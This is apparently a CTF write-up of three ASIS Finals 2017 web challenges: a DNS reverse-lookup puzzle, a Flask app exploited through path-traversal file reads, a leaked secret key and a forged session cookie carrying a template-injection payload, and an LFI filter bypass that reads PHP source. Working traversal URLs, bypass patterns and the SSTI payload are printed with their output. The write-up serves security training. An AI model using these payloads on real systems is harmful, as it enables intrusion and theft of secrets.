ASIS CTF Finals 2017 - Write-ups

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : ASIS CTF Finals 2017
  • Website : asisctf.com
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

Dig Dug - Web#

The pot calling the kettle black.

We can begin to look at the website:

$ curl https://digx.asisctf.com/
<!DOCTYPE html>
<html>
<head>
<title>Can you dig it?!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Can you dig it?!</h1>
<p>If you want to know what is dig, you should consider that dig stands for domain information groper.</p>

<p><em>Thank you for seeing our digs.</em></p>
<p><img src="./dig-tool.jpg" alt="dig-x" align="middle" width="510"><p>
</body>
</html>

Challenge name is Dig Dug, they even tell us the acronym of dig.

Note admin are using dig (dnsutils) so they are not archlinux user because instead they will have use drill (ldns). If you want to know why drill is better than dig: link1 and link2.

They are clearly asking us to take a look at DNS.

$ drill digx.asisctf.com
;; ->>HEADER<<- opcode: QUERY, rcode: NOERROR, id: 15889
;; flags: qr rd ra ; QUERY: 1, ANSWER: 1, AUTHORITY: 5, ADDITIONAL: 0
;; QUESTION SECTION:
;; digx.asisctf.com.    IN    A

;; ANSWER SECTION:
digx.asisctf.com.    1800    IN    A    192.81.223.250

;; AUTHORITY SECTION:
asisctf.com.    1800    IN    NS    dns4.asis.io.
asisctf.com.    1800    IN    NS    dns3.asis.io.
asisctf.com.    1800    IN    NS    dns2.asis.io.
asisctf.com.    1800    IN    NS    dns5.asis.io.
asisctf.com.    1800    IN    NS    dns1.asis.io.

;; ADDITIONAL SECTION:

;; Query time: 174 msec
;; SERVER: 212.27.40.240
;; WHEN: Fri Sep  8 21:35:56 2017
;; MSG SIZE  rcvd: 152

Easy we get the IP. Now let's make a reverse DNS lookup.

$ drill 250.223.81.192.in-addr.arpa PTR
;; ->>HEADER<<- opcode: QUERY, rcode: NOERROR, id: 29373
;; flags: qr rd ra ; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 6
;; QUESTION SECTION:
;; 250.223.81.192.in-addr.arpa.    IN    PTR

;; ANSWER SECTION:
250.223.81.192.in-addr.arpa.    1800    IN    PTR    airplane.asisctf.com.

;; AUTHORITY SECTION:
223.81.192.in-addr.arpa.    73481    IN    NS    ns2.digitalocean.com.
223.81.192.in-addr.arpa.    73481    IN    NS    ns3.digitalocean.com.
223.81.192.in-addr.arpa.    73481    IN    NS    ns1.digitalocean.com.

;; ADDITIONAL SECTION:
ns1.digitalocean.com.    250    IN    A    173.245.58.51
ns1.digitalocean.com.    250    IN    AAAA    2400:cb00:2049:1::adf5:3a33
ns2.digitalocean.com.    250    IN    A    173.245.59.41
ns2.digitalocean.com.    250    IN    AAAA    2400:cb00:2049:1::adf5:3b29
ns3.digitalocean.com.    167    IN    A    198.41.222.173
ns3.digitalocean.com.    167    IN    AAAA    2400:cb00:2049:1::c629:dead

;; Query time: 49 msec
;; SERVER: 87.98.175.85
;; WHEN: Fri Sep  8 21:35:20 2017
;; MSG SIZE  rcvd: 278

Note: $ drill -x 192.81.223.250 does the same as drill 250.223.81.192.in-addr.arpa PTR.

So now we get another domain airplane.asisctf.com. Maybe a website? ($ curl https://airplane.asisctf.com):

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no">
    <meta name="theme-color" content="#000000">
    <link rel="manifest" href="./manifest.json">
    <title>Offline Only</title>
    <meta property="og:url" content="https://airplane.asisctf.com" />
    <meta property="og:title" content="Go Offline Please" />
    <meta property="og:description" content="Disconnection can be good." />
    <meta property="og:image" content="./preview.png" />
</head>

<body><noscript>You need to enable JavaScript to run this app.</noscript>
    <div id="root"></div>
    <script type="text/javascript" src="./js.js"></script>
</body>

</html>

You can take a look at js.js but it is a very long script that is minified, this will be pain to decode it.

Maybe we can use a GUI browser this time. Fire Firefox:

They tell us to enable offline mode? Why not:

Flag: ASIS{_just_Go_Offline_When_you_want_to_be_creative_!}.

Golem is stupid! - Web#

Golem is an animated anthropomorphic being that is magically created entirely from inanimate matter, but Golem is stupid!

It (https://golem.asisctf.com/) looks like a search engine, it make a POST request with the searched word to https://golem.asisctf.com/golem. Then the content is Hello : <searched word here>, why you don't look at our article? so we may look for injection in the future (I tried, it is vulnerable to XSS). But first we will follow the link to the article: https://golem.asisctf.com/article?name=article

Nice a GET param, let's try some basic LFI: https://golem.asisctf.com/article?name=../../../../etc/passwd: bingo we got the file.

I found nothing with FLI let's try something else.

My cookie is eyJnb2xlbSI6bnVsbH0.DJSUhw.vmX8qssjPNZtKGf8xri-PhT8UZM. It looks like JWT but it is not, it's Flask cookie.

Flask cookies look like JWT (JSON Web Tokens) but that's not the same structure. JWT are header.data.signature, flask cookies are data.nonce.signature.

So the I used flask-session-cookie-manager to decode the cookie:

$ python2 session_cookie_manager.py decode -c 'eyJnb2xlbSI6bnVsbH0.DJSUhw.vmX8qssjPNZtKGf8xri-PhT8UZM'
{"golem":null}

But we will need the SECRET_KEY from config.py of the Flask app to sign the modified cookie.

PS: I discovered flask cookie in CTFZone 2017 - Leaked messages challenge.

Let's start by seeing how application was launched: https://golem.asisctf.com/article?name=../../../../../../../proc/self/cmdline: /usr/bin/uwsgi --ini /usr/share/uwsgi/conf/default.ini --ini /etc/uwsgi/apps-enabled/golem_proj.ini --daemonize /var/log/uwsgi/app/golem_proj.log .

/etc/uwsgi/apps-enabled/golem_proj.ini:

[uwsgi]
socket        = 127.0.0.1:9090
plugin        = python
wsgi-file    = /opt/serverPython/golem/server.py
chdir           = /opt/serverPython/golem
process        = 3
callable    = app

Let's see the golem server source /opt/serverPython/golem/server.py (https://ghostbin.com/paste/32qdz):

#!/usr/bin/python
import os

from flask import (
    Flask,
    render_template,
    request,
    url_for,
    redirect,
    session,
    render_template_string
)
from flask.ext.session import Session

app = Flask(__name__)


execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key

@app.route("/golem", methods=["GET", "POST"])
def golem():
    if request.method != "POST":
        return redirect(url_for("index"))

    golem = request.form.get("golem") or None

    if golem is not None:
        golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","")

    if "golem" not in session or session['golem'] is None:
        session['golem'] = golem

    template = None

    if session['golem'] is not None:
        template = '''{%% extends "layout.html" %%}
        {%% block body %%}
        <h1>Golem Name</h1>
        <div class="row>
        <div class="col-md-6 col-md-offset-3 center">
        Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
        </div>
        </div>
        {%% endblock %%}
        ''' % session['golem']

        print

        session['golem'] = None

    return render_template_string(template)

@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")

@app.route('/article', methods=['GET'])
def article():

    error = 0

    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'

    if page.find('flag')>=0:
        page = 'notallowed.txt'

    try:
        template = open('/home/golem/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

We can't see flag.py (because when flag is find in name notallowed.txt is displayed instead) but we can see key.py: key = '7h15_5h0uld_b3_r34lly_53cur3d'.

Now let's craft a cookie with an SSTI in order to inject the template %s feed with session['golem']:

$ python2 session_cookie_manager.py encode -s '7h15_5h0uld_b3_r34lly_53cur3d' -t '{"golem":"{{ config.items() }}"}'
eyJnb2xlbSI6eyIgYiI6ImUzc2dZMjl1Wm1sbkxtbDBaVzF6S0NrZ2ZYMD0ifX0.DJSx2A.zNB4PzdJKOSbycNQiST1J9xROFY

Node: Why we need SSTI trough cookie? We can't do SSTI trough POST because of the replace method removing { and }, preventing us to do some template injection.

So finally I used BurpSuite as a proxy to change my cookie.

My SSTI is using {{ config.items() }} as payload in order to list all what is in Flask config:

[('JSON_AS_ASCII', True), ('O_DSYNC', 4096), ('O_RSYNC', 1052672), ('EX_IOERR', 74), ('EX_NOHOST', 68), ('O_RDONLY', 0), ('ST_SYNCHRONOUS', 16), ('SESSION_REFRESH_EACH_REQUEST', True), ('EX_TEMPFAIL', 75), ('WCOREDUMP', <built-in function WCOREDUMP>), ('SEEK_CUR', 1), ('O_LARGEFILE', 0), ('ST_RELATIME', 4096), ('O_EXCL', 128), ('O_TRUNC', 512), ('EX_OSFILE', 72), ('WIFEXITED', <built-in function WIFEXITED>), ('ST_MANDLOCK', 64), ('ST_NODIRATIME', 2048), ('F_OK', 0), ('ST_RDONLY', 1), ('EX_NOINPUT', 66), ('O_NOFOLLOW', 131072), ('ST_NOSUID', 2), ('O_CREAT', 64), ('O_SYNC', 1052672), ('EX_NOPERM', 77), ('O_WRONLY', 1), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_NAME', 'session'), ('WNOHANG', 1), ('LOGGER_HANDLER_POLICY', 'always'), ('O_NOATIME', 262144), ('TMP_MAX', 238328), ('MAX_CONTENT_LENGTH', None), ('ST_WRITE', 128), ('WTERMSIG', <built-in function WTERMSIG>), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('P_NOWAITO', 1), ('R_OK', 4), ('TRAP_HTTP_EXCEPTIONS', False), ('WUNTRACED', 2), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('EX_OSERR', 71), ('EX_DATAERR', 65), ('ST_APPEND', 256), ('SESSION_COOKIE_PATH', None), ('ST_NOATIME', 1024), ('W_OK', 2), ('EX_OK', 0), ('O_APPEND', 1024), ('EX_CANTCREAT', 73), ('O_NOCTTY', 256), ('LOGGER_NAME', 'uwsgi_file__opt_serverPython_golem_server'), ('O_NONBLOCK', 2048), ('SECRET_KEY', '7h15_5h0uld_b3_r34lly_53cur3d'), ('EX_UNAVAILABLE', 69), ('EX_CONFIG', 78), ('P_NOWAIT', 1), ('APPLICATION_ROOT', None), ('SERVER_NAME', None), ('PREFERRED_URL_SCHEME', 'http'), ('ST_NODEV', 4), ('TESTING', False), ('TEMPLATES_AUTO_RELOAD', None), ('JSONIFY_MIMETYPE', 'application/json'), ('WEXITSTATUS', <built-in function WEXITSTATUS>), ('NGROUPS_MAX', 65536), ('WIFCONTINUED', <built-in function WIFCONTINUED>), ('O_RDWR', 2), ('P_WAIT', 0), ('O_NDELAY', 2048), ('USE_X_SENDFILE', False), ('EX_NOUSER', 67), ('SEEK_SET', 0), ('SESSION_COOKIE_SECURE', False), ('O_DIRECT', 16384), ('EX_SOFTWARE', 70), ('RUNCMD', <function check_output at 0x7f0fcec3d1b8>), ('FLAG', 'ASIS{I_l0v3_SerV3r_S1d3_T3mplate_1nj3ct1on!!}'), ('WSTOPSIG', <built-in function WSTOPSIG>), ('WIFSIGNALED', <built-in function WIFSIGNALED>), ('DEBUG', False), ('O_ASYNC', 8192), ('EXPLAIN_TEMPLATE_LOADING', False), ('O_DIRECTORY', 65536), ('WCONTINUED', 8), ('SEEK_END', 2), ('ST_NOEXEC', 8), ('JSONIFY_PRETTYPRINT_REGULAR', True), ('PROPAGATE_EXCEPTIONS', None), ('TRAP_BAD_REQUEST_ERRORS', False), ('JSON_SORT_KEYS', True), ('WIFSTOPPED', <built-in function WIFSTOPPED>), ('SESSION_COOKIE_HTTPONLY', True), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('EX_PROTOCOL', 76), ('EX_USAGE', 64), ('X_OK', 1)]

So here was the flag: ('FLAG', 'ASIS{I_l0v3_SerV3r_S1d3_T3mplate_1nj3ct1on!!}').

PS: To know more about SSTI into Flask.

Mathilda - Web#

Mathilda learned many skills from Leon, now she want to use them!

Always see the source:

$ curl http://178.62.48.181/
<center><br><br>
    <h2>Welcome to home</h2>
    <p>This website has been developed and deployed by me. It's static web page and I'm working on new design.</p>
<img src=tilda.png height="400">

<!-- created by ~rooney -->

Ok rooney let's if you have a directory:

$ curl 'http://178.62.48.181/~rooney/'
<pre>
<center>
<h1>Welcome to rooney page</h1>
<img src=files/mathilda.jpg height="450"></img>

<a href='?path=rooney'>file</a>

Obviously there is something to do with http://178.62.48.181/~rooney/?path=rooney.

Basic LFI won't work here but we can try some LFI filter bypass, here is used a pattern I used in a previous article: http://178.62.48.181/~rooney/?path=....//....//....//....//....//etc/passwd

So now that we have a valid payload, let's try to find more interestign stuff: http://178.62.48.181/~rooney/?path=....//....//....//....//....//proc/self/cmdline: /usr/sbin/apache2-kstart.

If it run apache we can go to /etc/apache2/apache2.conf: http://178.62.48.181/~rooney/?path=....//....//....//....//....//etc/apache2/apache2.conf

We can see at the end of the config file:

# virtual host
IncludeOptional vhost/host.conf

So let's go: http://178.62.48.181/~rooney/?path=....//....//....//....//....//etc/apache2/vhost/host.conf

It looks great for us:

# The ServerName directive sets the request scheme, hostname and port that
    # the server uses to identify itself. This is used when creating
    # redirection URLs. In the context of virtual hosts, the ServerName
    # specifies what hostname must appear in the request's Host: header to
    # match this virtual host. For the default virtual host (this file) this
    # value is not decisive as it is used as a last resort host regardless.
    # However, you must set it for any further virtual host explicitly.
    #ServerName www.example.com

    ServerAdmin webmaster@localhost
    DocumentRoot /flag/html/
    ServerName flagishere


    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf



        Options +Indexes
        AllowOverride All
        Require all granted
        Order Allow,Deny
        Allow from all


# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

As in the previous challenge, putting flag in the url result in Security failed! so we must find something else.

We saw previously that we have an user with a valid shell (from /etc/passwd: th1sizveryl0ngus3rn4me:x:1001:1001:,,,:/home/th1sizveryl0ngus3rn4me:/bin/bash) and we saw in /etc/ssh/sshd_config that ssh connection use password. After trying to do some basic bruteforce on ssh and user th1sizveryl0ngus3rn4me I thought it has to be on his user web directory /home/th1sizveryl0ngus3rn4me/public_html but going to http://178.62.48.181/~th1sizveryl0ngus3rn4me/ give us an Invalid Device error. Ok so let's guess it's PHP an go to http://178.62.48.181/~rooney/?path=....//....//....//....//....//home/th1sizveryl0ngus3rn4me/public_html/index.php but we get Security failed!. There is a filter on ../ so why not on php too? Ok web server you want to remove ../? So do it: index.p../hp will begin index.php.

Finally:

$ curl 'http://178.62.48.181/~rooney/?path=....//....//....//....//....//home/th1sizveryl0ngus3rn4me/public_html/index.p../hp'
<pre>
<center>
<h1>Welcome to rooney page</h1>
<img src=files/mathilda.jpg height="450"></img>
<?php
require 'flag.php';

if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'mobile')!==false){
		if(strpos($_SERVER['HTTP_REFERER'], 'th1sizveryl0ngus3rn4me')!==false){
					echo $flag;
						}else
									echo 'Hot-linking is disabled';
}else
		echo 'Invalid Device';


?>

<a href='?path=rooney'>file</a>

We can do the same with flag.php (as the next curl shows) or send the wanted user agent.

$ curl 'http://178.62.48.181/~rooney/?path=....//....//....//....//....//home/th1sizveryl0ngus3rn4me/public_html/flag.p../hp'
<pre>
<center>
<h1>Welcome to rooney page</h1>
<img src=files/mathilda.jpg height="450"></img>
<?php

$flag = 'ASIS{I_l0V3_Us3rD1r_Mpdul3!!}';

?>

<a href='?path=rooney'>file</a>
Share